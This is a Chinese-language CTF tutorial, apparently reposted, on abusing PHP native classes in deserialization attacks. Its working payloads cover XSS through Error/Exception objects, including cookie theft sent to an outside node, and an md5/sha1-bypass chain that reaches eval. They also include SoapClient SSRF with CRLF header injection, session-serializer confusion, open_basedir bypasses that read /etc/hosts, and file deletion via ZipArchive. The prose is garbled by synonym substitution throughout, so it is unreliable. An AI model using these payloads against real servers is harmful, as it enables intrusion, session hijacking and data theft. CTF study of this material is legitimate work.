//test.php<?php$str = unserialize($_GET[39;cmd']);echo $str;?>
很明显是一个反序列化问题,但是没有可以利用的魔术方法
我们利用Error类触发个中的__toString()方法
//POC<?php$str = new Error(34;<script>alert("xss_successful")</script>");echo urlencode(serialize($str));//O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A40%3A%22%3Cscript%3Ealert%28%27xss_successful%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Ctest1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
GET传参:成功实行js
Exception类
条件:
php5/php7版本开启报错同样具有__toString()魔术方法
测试:
<?phphighlight_file(__FILE__);$str = unserialize($_GET['cmd']);echo $str;?>
POC:
<?php$str = new Exception("<script>alert('xss_successful')</script>");echo urlencode(serialize($str));?>//O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A40%3A%22%3Cscript%3Ealert%28%27xss_successful%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Ctest1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
GET传参
成功实行
例题xss之光
打开题目便是gungungun
我们进行信息网络,创造了git透露
python2 GitHack.py http://b4c894c7-cf52-4dc3-8a2e-4438d75072ab.node4.buuoj.cn/.git/
得到index.php
//index.php<?php$a = $_GET['yds_is_so_beautiful'];echo unserialize($a);
很明显有一个unserialize()函数,但是没有魔术方法可以利用,我们可以想到利用PHP内置类,通过echo来触发内置类中的__toString()魔术方法来实现反序列化
而且可以不雅观察到X-Powered-By字段透露了利用了php5版本
以是我们利用Exception()内置类进行xss
我们利用xss将cookie带出来
利用window.open()打开新窗口的方法带出cookie利用window.location.href='url'实现恶意跳转带出cookie利用alert(document.cookie)通过弹窗弹出cookie//payload<?php$str = new Exception("<script>window.open('http://b4c894c7-cf52-4dc3-8a2e-4438d75072ab.node4.buuoj.cn/?'+document.cookie);</script>");echo urlencode(serialize($str));?> <?php$str = new Exception("<script>window.location.href='http://4359bb0c-611c-4df8-a0e5-2545a73fc9fd.node4.buuoj.cn:81/?'+document.cookie</script>");echo urlencode(serialize($str));?> <?php$str = new Exception("<script>alert(document.cookie)</script>");echo urlencode(serialize($str));?>//如果开启了httponly是不能够成功的
效果:
绕过哈希比较Error/Exception类
差异:
Error是用于php7, Exception类适用于php5/php7
__toString()将缺点的工具非常或者缺点的工具转化为字符串
Error为例:
<?php$a = new Error("aaa", 1);echo $a;?>
抛出了缺点,个中的2是对应的行号,但是我们可以创造个中的缺点工具1并没有输出
之后测试
<?php$a = new Error("aaa", 1); $b = new Error("aaa", 2);echo $a;echo "\n\n";echo $b;?>
结果图:
我们创造$a,$b中的缺点工具并不相同,但是返回的是相同的
这里必须要担保这个两个Error类在同一行,不然返回的值不一样
例题极客大寻衅2020 Greatphp
打开题目
<?phperror_reporting(0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ //过滤了<?php ( ) " ' eval($this->syc); } else { die("Try Hard !!"); } } }}if (isset($_GET['great'])){ unserialize($_GET['great']);} else { highlight_file(__FILE__);}?>
我们利用<?=绕过<?php
php标签的几种写法: <?php ?> <?php <? ?> //须要php.ini中开启short_open_tag=On <?= ?> <% %> //须要php.ini中开启asp_tags=On <script language="php">xxx</script>
禁用了括号,不能利用函数,我们利用include "/flag"包含他
但是同时过滤了引号,我们进行取反
<?php$str = "/flag";echo urlencode(~$str);?> //%D0%99%93%9E%98
O对了,还有如果对一个类求他的哈希值,就会触发他的__toString()魔术方法,我们就可以利用前面说的方法绕过sha1和md5的比较
//POC:<?phpclass SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } }}$payload = "?><?=include~".urldecode('%D0%99%93%9E%98')."?>";$str = new SYCLOVER();$str->syc = new Exception($payload, 1); $str->lover = new Exception($payload, 2);//这里的php版本是7,以是Error和Exception类都可以利用echo urlencode(serialize($str));?>
GET传参之后
成功实行payload,得到flag
利用SoapClient类SSRFSoapClient类学习php5/php7/php8
我们可以看到有一个__call()魔术方法,如果调用触发这个 魔术方法,他会发送http/https要求
这个类的布局方法:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,个中location是要将要求发送到的SOAP做事器的URL,而uri是SOAP做事的目标命名空间。SSRF测试<?php//须要php.ini中加载php_soap.dll扩展$a = new SoapClient(null, array( 'location' => 'http://yourip:port/aaa', 'uri' => 'http://yourip:port'));$b = serialize($a);echo $b;$c = unserialize($b);$c->aaaa();//触发__call魔术方法?>
开启端口监听
成功SSRF
个中创造SOAPAction头参数可控
如果我们合营CRLF漏洞的话就可以设置POST要求的body就可以掌握
<?php$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nPOST_request_body\r\n", 'location'=>'http://127.0.0.1:5555/path'));$b = serialize($a);echo $b;$c = unserialize($b);$c->not_exists_function();?>
但是Content-Type在SOAPAction的上面,我们就不能掌握POST要求的数据
个中我们创造User-Agent在Content-Type的上面,而且彷佛也可控
<?php$target = 'http://127.0.0.1:5555/path';$post_string = 'data=something';$headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=my_session' );$b = new SoapClient(null,array('location' => $target,'user_agent'=>'RoboTerh^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));$aaa = serialize($b);$aaa = str_replace('^^',"\r\n",$aaa);$aaa = str_replace('&','&',$aaa);echo $aaa;$c = unserialize($aaa);$c->not_exists_function();?>
实现了任意POST要求
当然,在攻击redis的时候也可以通过这种方法插入redis命令
例题bestphp's revenge
打开题目
<?phphighlight_file(__FILE__);$b = 'implode';call_user_func($_GET['f'], $_POST);session_start();if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name'];}var_dump($_SESSION);$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');call_user_func($b, $a);?>
通过目录扫描得到/flag.php
很明显须要我们ssrf来访问个中的/flag.php
但是没有ssrf的利用点
我们可以想到利用php原生类SoapClient来触发个中的__call()魔术方法来进行ssrf得到flag
由于他是把得到的flag放在session中的,我们就须要设置一个cookie来访问这个session文件进而得到flag
<?php$str = "http://127.0.0.1/flag.php";$a = new SoapClient(null, array( 'location' => $str, 'uri' => "http://127.0.0.1", 'user_agent' => "RoboTerh\r\ncookie: PHPSESSID=123456\r\n"));$payload = urlencode(serialize($a));echo "|".$payload;?>//|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A40%3A%22RoboTerh%5Cr%5Cncookie%3A+PHPSESSID%3D123456%5Cr%5Cn%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
天生了反序列化的payload,但是从哪里进行反序列化入口呢
题目中和session有关,想到session反序列化这个路子
//session.serialize_handler=php<?phpsession_start();$_SESSION['name'] = 'RoboTerh';?>
得到
name|s:8:"RoboTerh";
//session.serialize_handler=php_serialize<?phpsession_start();$_SESSION['name'] = 'RoboTerh';?>
得到session文件内容
a:1:{s:4:"name";s:8:"RoboTerh";}
当序列化和反序列化的时候利用不同的引擎就会导致session反序列化漏洞触发
当我们传入
$_SEESION['key'] = '|value';
那么利用php_serialize的到序列化内容为
a:1:{s:3:'key';s:6:'|value';}
如果用php引擎来进行反序列化的时候,用|分隔键名和键值的内容
key为:
a:1:{s:3:'key';s:6:'|
value为:
value';}
则:
| + 序列化内容就可以触发漏洞
要进行session反序列化,就须要将反序列化引擎修正为php_serialize(默认为php)
call_user_func($_GET['f'], $_POST)
call_user_func()是一个回调函数,则可以构建session反序列化
成功设置了PHPSESSIONID=123456
但是没有触发SSRF漏洞,我们须要访问一个不存在的函数触发__call()魔术方法,进而进行SSRF
创造
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); call_user_func($b, $a);
我们须要触发session工具的__call()方法,而且call_user_func()函数有一个特性便是:如果传入的是一个数组的话,会将数组的第一个参数当作类名,第二个参数当作函数名
以是我们可以通过extract()函数将变量b覆盖为call_user_func这样就变成了call_user_func(call_user_func, array(reset($SESSION), 'welcome_to_the_lctf2018')),这样就会触发__call()这个魔术方法,进而实现SSRF
成功触发了__call()方法
之后我们传入PHPSESSIONID值,利用var_dump($_SESSION)来得到flag的值
绕过open_basedir利用DirectoryIterator类目录遍历
DirectoryIterator原生类中有一个魔术方法__toString(),触发这个方法将会返回这个迭代器的第一项
测试//test.php<?php$a = $_GET['a'];$b = $_GET['b'];echo new $a($b); //触发__toString方法?>
GET传参a=DirectoryIterator&b=.
结果如下
如果这时候合营上glob://伪协议
支持通配符 ? 支持正则匹配 [a-z]结果如下
当然,不止一个test开头的文件,他只是返回了第一个文件
//test.php<?php$dir = $_GET['cmd'];$a = new DirectoryIterator($dir);foreach($a as $f){ echo ($f->__toString().'<BR>');}# payload一句话的形式:# $a = new DirectoryIterator("glob:///");foreach($a as $f){echo($f->__toString().'<br>');}?>
通过迭代,可以遍历文件
利用FilesystemIterator类目录遍历用法
和上面的用法类似
利用GlobIterator类目录遍历用法这个原生类是自带glob的,以是,我们只须要传入glob协议后面的内容就可以了
利用SplFileObject类读取文件测试<?phphighlight_file(__FILE__);$a = $_GET['a'];$b = $_GET['b'];echo new $a($b);?>
GET传参a=SplFileObject&b=test.html
test.html内容为
我们创造只读取了第一行的内容
这个类的布局函数传入的是一个文件名,想到可以利用php伪协议
成功利用伪协议读取文件内容
非原生类读取open_basedir限定文件ini_set() + 相对路径读取
由于open_basedir自身的问题,设置为相对路径..在解析的时候会致使自身向上跳转一层
<?phpshow_source(__FILE__);print_r(ini_get('open_basedir').'<br>');mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/hosts');?>
若open_basedir限定到了当前目录,就须要新建子目录,进入设置其为..,若已经是open_basedir的子目录就不须要,由于限定到了当前目录再设置为..就会出错。之后每次引用路径就会触发open_basedir判别,而在解析open_basedir的时候会拼接上..,从而引发open_basedir自身向上跳一级,末了跳到了根目录,再将open_basedir设置到根目录即可
shell命令实行读取文件操作cat /etc/passwd
symlink()软链接当前路径是/www/wwwroot/default,新建目录数量=须要上跳次数+1
<?php show_source(__FILE__); mkdir("1");chdir("1"); mkdir("2");chdir("2"); mkdir("3");chdir("3"); mkdir("4");chdir("4"); chdir("..");chdir("..");chdir("..");chdir(".."); symlink("1/2/3/4","tmplink"); symlink("tmplink/../../../../etc/hosts","bypass"); unlink("tmplink"); mkdir("tmplink"); echo file_get_contents("bypass");?>
symlink会天生一个快捷办法,首先明确须要上跳三次,建四个目录,然后天生软连接symlink("1/2/3/4","tmplink"),然后再天生symlink("tmplink/../../../../etc/hosts","bypass");,化简一下也便是etc/hosts,在当前目录下,因此通过了open_basedir创建成功
之后,把软连接tmplink换成文件夹tmplink,变成了/www/wwwroot/default/tmplink/../../../../etc/hosts,化简便是/etc/hosts
关键就在于软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接
XXE漏洞利用SimpleXMLElementPHP 5, PHP 7, PHP 8
布局函数
public SimpleXMLElement::__construct(string$data,int$options= 0,bool$dataIsURL= false,string$namespaceOrPrefix= "",bool$isPrefix= false)
data为xml格式的字符串,也可以是外部的url,我们设置data_is_url为true就可以利用url方法
删除文件利用利用ZipArchive类进行删除php5.20之后
这个类有一个open方法
ZipArchive::open(string $filename, int $flags=0)
参数阐明filename: 要打开的zip文件名
flags: 打开模式:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。ZipArchive::CREATE:如果不存在则创建一个zip压缩包。ZipArchive::RDONLY:只读模式打开压缩包。ZipArchive::EXCL:如果压缩包已经存在,则出错。ZipArchive::CHECKCONS:对压缩包实行额外的同等性检讨,如果失落败则显示缺点。如果设置flags参数的值为ZipArchive::OVERWRITE的话,可以把指定文件删除。
这里flags同样可以利用8来表示ZipArchive::OVERITE
Reflection的妙用利用反射类得到已知类的方法和信息Reflection类的利用 https://www.php.net/manual/zh/book.reflection.php
from https://www.freebuf.com/articles/web/356530.html